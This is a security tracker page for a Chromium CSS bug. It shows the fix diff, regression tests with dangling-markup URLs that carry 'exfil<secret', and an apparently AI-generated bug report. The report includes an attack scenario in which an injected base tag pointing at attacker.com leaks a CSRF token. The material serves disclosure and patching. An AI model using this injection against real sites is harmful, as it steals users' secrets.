Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in CSS
DescriptionInappropriate implementation in CSS
ComponentCSS
Bug ClassLogic Error
Tracker514538751
Fix commit48b2a9f9219f (chromium/src) +122/-11
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-30

Changed Functions

FunctionChangeNotes
if
third_party/blink/renderer/core/css/css_font_face_src_value.cc
modified
CSSFontFaceSrcValueTest
third_party/blink/renderer/core/css/css_font_face_src_value_test.cc
modified
TEST_F
third_party/blink/renderer/core/css/css_font_face_src_value_test.cc
modified
if
third_party/blink/renderer/core/css/css_image_value.cc
modified
TEST
third_party/blink/renderer/core/css/css_uri_value_test.cc
modified

Files Changed

  • third_party/blink/renderer/core/css/build.gni
  • third_party/blink/renderer/core/css/css_font_face_src_value.cc
  • third_party/blink/renderer/core/css/css_font_face_src_value_test.cc
  • third_party/blink/renderer/core/css/css_image_value.cc
  • third_party/blink/renderer/core/css/css_uri_value.cc
  • third_party/blink/renderer/core/css/css_uri_value_test.cc
From 48b2a9f9219f1ebcdc8ff84e5dc56b556fa32b9d Mon Sep 17 00:00:00 2001
From: Kevin Babbitt <[email protected]>
Date: Tue, 26 May 2026 10:13:33 -0700
Subject: [PATCH] Propagate dangling markup flag through font fetch and CSSURIValue

For font fetch: Use ResolveUrl() which returns a KURL with the flag
propagated, rather than ResolvedUrl() which returns an AtomicString.
To enable this, ResolveUrl() now takes an ExecutionContext rather than
a Document.

For CSSURIValue: We don't have a Document or ExecutionContext handy,
but since this is a convenience accessor for other callers, it's a
natural spot to propagate the flag.

Fixed: 514538751
Change-Id: I793cea2515d9a92a0ddb7b37fa1d0ae1aac35427
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7868562
Reviewed-by: Rune Lillesveen <[email protected]>
Commit-Queue: Kevin Babbitt <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1636276}
---

diff --git a/third_party/blink/renderer/core/css/build.gni b/third_party/blink/renderer/core/css/build.gni
index 688d450e..e13df39 100644
--- a/third_party/blink/renderer/core/css/build.gni
+++ b/third_party/blink/renderer/core/css/build.gni
@@ -876,6 +876,7 @@
   "css_dynamic_range_limit_mix_value_test.cc",
   "css_flip_revert_value_test.cc",
   "css_font_face_source_test.cc",
+  "css_font_face_src_value_test.cc",
   "css_font_family_webkit_prefix_test.cc",
   "css_gradient_value_test.cc",
   "css_image_value_test.cc",
diff --git a/third_party/blink/renderer/core/css/css_font_face_src_value.cc b/third_party/blink/renderer/core/css/css_font_face_src_value.cc
index a5fd168..54d24dbf 100644
--- a/third_party/blink/renderer/core/css/css_font_face_src_value.cc
+++ b/third_party/blink/renderer/core/css/css_font_face_src_value.cc
@@ -147,7 +147,7 @@
     const CSSUrlData& url_data = src_value_->UrlData();
     const CSSUrlRequestModifiers& modifiers = url_data.GetModifiers();
     const Referrer& referrer = url_data.GetReferrer();
-    ResourceRequest resource_request(url_data.ResolvedUrl());
+    ResourceRequest resource_request(url_data.ResolveUrl(*context));
 
     if (modifiers.referrer_policy) {
       resource_request.SetReferrerPolicy(*modifiers.referrer_policy);
diff --git a/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc b/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc
new file mode 100644
index 0000000..133a80d2
--- /dev/null
+++ b/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc
@@ -0,0 +1,65 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "third_party/blink/renderer/core/css/css_font_face_src_value.h"
+
+#include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/blink/renderer/core/css/css_url_data.h"
+#include "third_party/blink/renderer/core/dom/document.h"
+#include "third_party/blink/renderer/core/testing/sim/sim_request.h"
+#include "third_party/blink/renderer/core/testing/sim/sim_test.h"
+#include "third_party/blink/renderer/platform/testing/unit_test_helpers.h"
+
+namespace blink {
+
+class CSSFontFaceSrcValueTest : public SimTest {};
+
+// Verify that a @font-face src URL containing dangling markup (newline + '<')
+// is blocked and does NOT trigger a network request. The dangling markup
+// mitigation in BaseFetchContext::CanRequest should prevent the fetch.
+//
+// If the potentially_dangling_markup flag were lost (the bug this tests for),
+// the font request would go through and SimTest would fail because no
+// SimSubresourceRequest was registered for the URL.
+TEST_F(CSSFontFaceSrcValueTest, BlockPotentiallyDanglingMarkup) {
+  SimRequest main_resource("https://example.com", "text/html");
+
+  LoadURL("https://example.com");
+
+  // The <table background="..."> URL contains a newline (between "ht" and
+  // "tps") and a '<' character, which causes KURL to set the
+  // PotentiallyDanglingMarkup flag. The @font-face src URL uses the same
+  // pattern: the font URL is constructed by the CSS parser with dangling
+  // markup via a tainted base URL.
+  //
+  // We use a <base> tag with an href containing \n and '<' to taint all
+  // relative URL resolution. The @font-face then uses a relative URL.
+  main_resource.Complete(R"HTML(
+    <!doctype html>
+    <style>
+      @font-face {
+        font-family: 'dangling-test';
+        src: url('ht
+tps://example.com/exfil<secret.woff2') format("woff2");
+      }
+      #target {
+        font: 25px/1 'dangling-test', monospace;
+      }
+    </style>
+    <span id="target">ABCDEF</span>
+  )HTML");
+
+  test::RunPendingTasks();
+  Compositor().BeginFrame();
+
+  // If the dangling markup mitigation works correctly, no network request
+  // is made for the font URL (it's blocked before reaching the network).
+  // The element should render with the fallback monospace font.
+  // The test passes if it doesn't crash — a missing SimSubresourceRequest
+  // for an actual network fetch would cause a CHECK failure.
+  auto* target = GetDocument().getElementById(AtomicString("target"));
+  ASSERT_TRUE(target);
+}
+
+}  // namespace blink
diff --git a/third_party/blink/renderer/core/css/css_image_value.cc b/third_party/blink/renderer/core/css/css_image_value.cc
index 6b7e1ac..5a2e11b04c 100644
--- a/third_party/blink/renderer/core/css/css_image_value.cc
+++ b/third_party/blink/renderer/core/css/css_image_value.cc
@@ -54,7 +54,8 @@
   const CSSUrlData& url_data = UrlData();
   const CSSUrlRequestModifiers& modifiers = url_data.GetModifiers();
   const Referrer& referrer = url_data.GetReferrer();
-  ResourceRequest resource_request(url_data.ResolveUrl(document));
+  ResourceRequest resource_request(
+      url_data.ResolveUrl(*document.GetExecutionContext()));
 
   if (modifiers.referrer_policy) {
     resource_request.SetReferrerPolicy(*modifiers.referrer_policy);
diff --git a/third_party/blink/renderer/core/css/css_uri_value.cc b/third_party/blink/renderer/core/css/css_uri_value.cc
index 829258f..4f353389 100644
--- a/third_party/blink/renderer/core/css/css_uri_value.cc
+++ b/third_party/blink/renderer/core/css/css_uri_value.cc
@@ -60,7 +60,11 @@
 }
 
 KURL CSSURIValue::AbsoluteUrl() const {
-  return KURL(UrlData().ResolvedUrl());
+  KURL url(UrlData().ResolvedUrl());
+  if (UrlData().IsPotentiallyDanglingMarkup()) {
+    url.SetPotentiallyDanglingMarkup();
+  }
+  return url;
 }
 
 bool CSSURIValue::IsLocal(const Document& document) const {
diff --git a/third_party/blink/renderer/core/css/css_uri_value_test.cc b/third_party/blink/renderer/core/css/css_uri_value_test.cc
index 1aac5c0..8caa2c8d 100644
--- a/third_party/blink/renderer/core/css/css_uri_value_test.cc
+++ b/third_party/blink/renderer/core/css/css_uri_value_test.cc
@@ -5,13 +5,47 @@
 #include "third_party/blink/renderer/core/css/css_uri_value.h"
 
 #include "testing/gtest/include/gtest/gtest.h"
-
+#include "third_party/blink/renderer/core/css/css_url_data.h"
 #include "third_party/blink/renderer/platform/weborigin/kurl.h"
 #include "third_party/blink/renderer/platform/wtf/text/text_encoding.h"
 
 namespace blink {
 namespace {
 
+// Verify that CSSUrlData::IsPotentiallyDanglingMarkup() correctly reflects
+// the flag from a KURL whose raw input contained both whitespace and '<'.
+TEST(CSSURIValueTest, DanglingMarkupFlagPreservedInCSSUrlData) {
+  // Construct a KURL from a string with a newline and '<', which triggers
+  // the potentially_dangling_markup flag during URL parsing.
+  KURL dangling_url("ht\ntps://example.com/exfil?<secret");
+  ASSERT_TRUE(dangling_url.PotentiallyDanglingMarkup());
+
+  CSSUrlData* url_data = MakeGarbageCollected<CSSUrlData>(
+      AtomicString("exfil?<secret"), dangling_url, Referrer(),
+      /*origin_clean=*/true, /*is_ad_related=*/false,
+      /*modifiers=*/CSSUrlRequestModifiers());
+
+  EXPECT_TRUE(url_data->IsPotentiallyDanglingMarkup());
+
+  // Constructing a KURL from the canonicalized string loses the flag — this
+  // is the underlying bug that the fix addresses.
+  KURL reconstructed(url_data->ResolvedUrl());
+  EXPECT_FALSE(reconstructed.PotentiallyDanglingMarkup());
+}
+
+// Verify that CSSUrlData without dangling markup reports false.
+TEST(CSSURIValueTest, NoDanglingMarkupFlag) {
+  KURL safe_url("https://example.com/font.woff");
+  ASSERT_FALSE(safe_url.PotentiallyDanglingMarkup());
+
+  CSSUrlData* url_data = MakeGarbageCollected<CSSUrlData>(
+      AtomicString("font.woff"), safe_url, Referrer(),
+      /*origin_clean=*/true, /*is_ad_related=*/false,
+      /*modifiers=*/CSSUrlRequestModifiers());
+
+  EXPECT_FALSE(url_data->IsPotentiallyDanglingMarkup());
+}
+
 TEST(CSSURIValueTest, ComputedCSSValue) {
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc b/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc
new file mode 100644
index 0000000..133a80d2
--- /dev/null
+++ b/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc
@@ -0,0 +1,65 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "third_party/blink/renderer/core/css/css_font_face_src_value.h"
+
+#include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/blink/renderer/core/css/css_url_data.h"
+#include "third_party/blink/renderer/core/dom/document.h"
+#include "third_party/blink/renderer/core/testing/sim/sim_request.h"
+#include "third_party/blink/renderer/core/testing/sim/sim_test.h"
+#include "third_party/blink/renderer/platform/testing/unit_test_helpers.h"
+
+namespace blink {
+
+class CSSFontFaceSrcValueTest : public SimTest {};
+
+// Verify that a @font-face src URL containing dangling markup (newline + '<')
+// is blocked and does NOT trigger a network request. The dangling markup
+// mitigation in BaseFetchContext::CanRequest should prevent the fetch.
+//
+// If the potentially_dangling_markup flag were lost (the bug this tests for),
+// the font request would go through and SimTest would fail because no
+// SimSubresourceRequest was registered for the URL.
+TEST_F(CSSFontFaceSrcValueTest, BlockPotentiallyDanglingMarkup) {
+  SimRequest main_resource("https://example.com", "text/html");
+
+  LoadURL("https://example.com");
+
+  // The <table background="..."> URL contains a newline (between "ht" and
+  // "tps") and a '<' character, which causes KURL to set the
+  // PotentiallyDanglingMarkup flag. The @font-face src URL uses the same
+  // pattern: the font URL is constructed by the CSS parser with dangling
+  // markup via a tainted base URL.
+  //
+  // We use a <base> tag with an href containing \n and '<' to taint all
+  // relative URL resolution. The @font-face then uses a relative URL.
+  main_resource.Complete(R"HTML(
+    <!doctype html>
+    <style>
+      @font-face {
+        font-family: 'dangling-test';
+        src: url('ht
+tps://example.com/exfil<secret.woff2') format("woff2");
+      }
+      #target {
+        font: 25px/1 'dangling-test', monospace;
+      }
+    </style>
+    <span id="target">ABCDEF</span>
+  )HTML");
+
+  test::RunPendingTasks();
+  Compositor().BeginFrame();
+
+  // If the dangling markup mitigation works correctly, no network request
+  // is made for the font URL (it's blocked before reaching the network).
+  // The element should render with the fallback monospace font.
+  // The test passes if it doesn't crash — a missing SimSubresourceRequest
+  // for an actual network fetch would cause a CHECK failure.
+  auto* target = GetDocument().getElementById(AtomicString("target"));
+  ASSERT_TRUE(target);
+}
+
+}  // namespace blink
diff --git a/third_party/blink/renderer/core/css/css_uri_value_test.cc b/third_party/blink/renderer/core/css/css_uri_value_test.cc
index 1aac5c0..8caa2c8d 100644
--- a/third_party/blink/renderer/core/css/css_uri_value_test.cc
+++ b/third_party/blink/renderer/core/css/css_uri_value_test.cc
@@ -5,13 +5,47 @@
 #include "third_party/blink/renderer/core/css/css_uri_value.h"
 
 #include "testing/gtest/include/gtest/gtest.h"
-
+#include "third_party/blink/renderer/core/css/css_url_data.h"
 #include "third_party/blink/renderer/platform/weborigin/kurl.h"
 #include "third_party/blink/renderer/platform/wtf/text/text_encoding.h"
 
 namespace blink {
 namespace {
 
+// Verify that CSSUrlData::IsPotentiallyDanglingMarkup() correctly reflects
+// the flag from a KURL whose raw input contained both whitespace and '<'.
+TEST(CSSURIValueTest, DanglingMarkupFlagPreservedInCSSUrlData) {
+  // Construct a KURL from a string with a newline and '<', which triggers
+  // the potentially_dangling_markup flag during URL parsing.
+  KURL dangling_url("ht\ntps://example.com/exfil?<secret");
+  ASSERT_TRUE(dangling_url.PotentiallyDanglingMarkup());
+
+  CSSUrlData* url_data = MakeGarbageCollected<CSSUrlData>(
+      AtomicString("exfil?<secret"), dangling_url, Referrer(),
+      /*origin_clean=*/true, /*is_ad_related=*/false,
+      /*modifiers=*/CSSUrlRequestModifiers());
+
+  EXPECT_TRUE(url_data->IsPotentiallyDanglingMarkup());
+
+  // Constructing a KURL from the canonicalized string loses the flag — this
+  // is the underlying bug that the fix addresses.
+  KURL reconstructed(url_data->ResolvedUrl());
+  EXPECT_FALSE(reconstructed.PotentiallyDanglingMarkup());
+}
+
+// Verify that CSSUrlData without dangling markup reports false.
+TEST(CSSURIValueTest, NoDanglingMarkupFlag) {
+  KURL safe_url("https://example.com/font.woff");
+  ASSERT_FALSE(safe_url.PotentiallyDanglingMarkup());
+
+  CSSUrlData* url_data = MakeGarbageCollected<CSSUrlData>(
+      AtomicString("font.woff"), safe_url, Referrer(),
+      /*origin_clean=*/true, /*is_ad_related=*/false,
+      /*modifiers=*/CSSUrlRequestModifiers());
+
+  EXPECT_FALSE(url_data->IsPotentiallyDanglingMarkup());
+}
+
 TEST(CSSURIValueTest, ComputedCSSValue) {
   cssvalue::CSSURIValue* rel = MakeGarbageCollected<cssvalue::CSSURIValue>(
       *MakeGarbageCollected<CSSUrlData>(
Loading diff…

Original Bug Report

reported by [email protected]

Bypass of dangling markup mitigation in CSS font and URI fetching

Flapjack, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: Blink’s dangling markup mitigation can potentially be bypassed during CSS font and URI fetches. CSSFontFaceSrcValue and CSSURIValue construct network requests using canonicalized URL strings that lack newlines, causing the potentially_dangling_markup flag to be lost. This could allow data exfiltration via <base> tag injection.

Affected files:

  • third_party/blink/renderer/core/css/css_font_face_src_value.cc
  • third_party/blink/renderer/core/css/css_uri_value.cc

Estimated timestamp from git blame: 2017-05-30

Description

A potential vulnerability in Blink’s CSS resource fetching logic allows an attacker to bypass the dangling markup mitigation. This mitigation is designed to prevent data exfiltration by blocking resource loads where a URL appears to have ‘swallowed’ document content (indicated by the presence of a < character and a newline in the URL).

The bypass occurs because CSSFontFaceSrcValue and CSSURIValue utilize canonicalized URL strings to initiate network requests. This process strips the newline characters, preventing the subsequent URL parsing logic from detecting the dangling markup and setting the appropriate security flag.

Technical Details

  1. When a document’s base URL contains dangling markup (e.g., via an injected <base> tag absorbing subsequent newlines and HTML), the CSS parser processes relative URLs against this tainted base URL.
  2. In CSSUrlData, the parsed URL state is split. The canonicalized URL string (with newlines stripped) is stored in absolute_url_, and the dangling markup detection is stored separately in the boolean potentially_dangling_markup_.
  3. In CSSFontFaceSrcValue::Fetch (third_party/blink/renderer/core/css/css_font_face_src_value.cc:150), a new network request is initiated:
    ResourceRequest resource_request(url_data.ResolvedUrl());
    
    Similarly, in CSSURIValue::AbsoluteUrl (third_party/blink/renderer/core/css/css_uri_value.cc:63), a KURL is constructed:
    return KURL(UrlData().ResolvedUrl());
    
  4. url_data.ResolvedUrl() returns the canonicalized AtomicString. When ResourceRequest or KURL parses this string, it fails to detect dangling markup because the newlines were previously stripped. Consequently, the newly constructed KURL object evaluates PotentiallyDanglingMarkup() to false.
  5. The request enters the network pipeline and reaches BaseFetchContext::CanRequest (third_party/blink/renderer/core/loader/base_fetch_context.cc:342), which checks:
    if (url.PotentiallyDanglingMarkup() && url.ProtocolIsInHttpFamily())
    
    Since the flag was lost, this security check is bypassed, and the request is dispatched, potentially exfiltrating absorbed document content.

Note: A similar issue was previously patched in CSSImageValue by using url_data.ResolveUrl(document), which explicitly restores the dangling markup flag.

Potential Attack Scenario

  1. An attacker injects a partial HTML tag, such as <base href="http://attacker.com/?q=">, into a page.
  2. The HTML parser absorbs subsequent sensitive content (e.g., &lt;input type="hidden" name="csrf" value="SECRET"&gt; ) into the base URL.
  3. A CSS rule on the page, such as @font-face { src: url('font.woff'); }, triggers a resource fetch.
  4. The fetch uses the tainted base URL but bypasses the dangling markup mitigation, exfiltrating the CSRF token to the attacker’s server.

(Note: These are suggested steps; we have not verified this with a runnable proof of concept.)

Suggested Fix

Modify CSSFontFaceSrcValue and CSSURIValue to preserve the potentially_dangling_markup flag. If an ExecutionContext or Document is available at the call site, use url_data.ResolveUrl(document) instead of url_data.ResolvedUrl(). ResolveUrl() explicitly calls url.SetPotentiallyDanglingMarkup() to restore the flag. Alternatively, manually propagate the flag to the ResourceRequest after constructing it from the canonicalized string.

Evaluated with Chrome root at commit: b7d0c4d810da1b31400f198c70d9720fc8f0e5a0


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker
Links in the report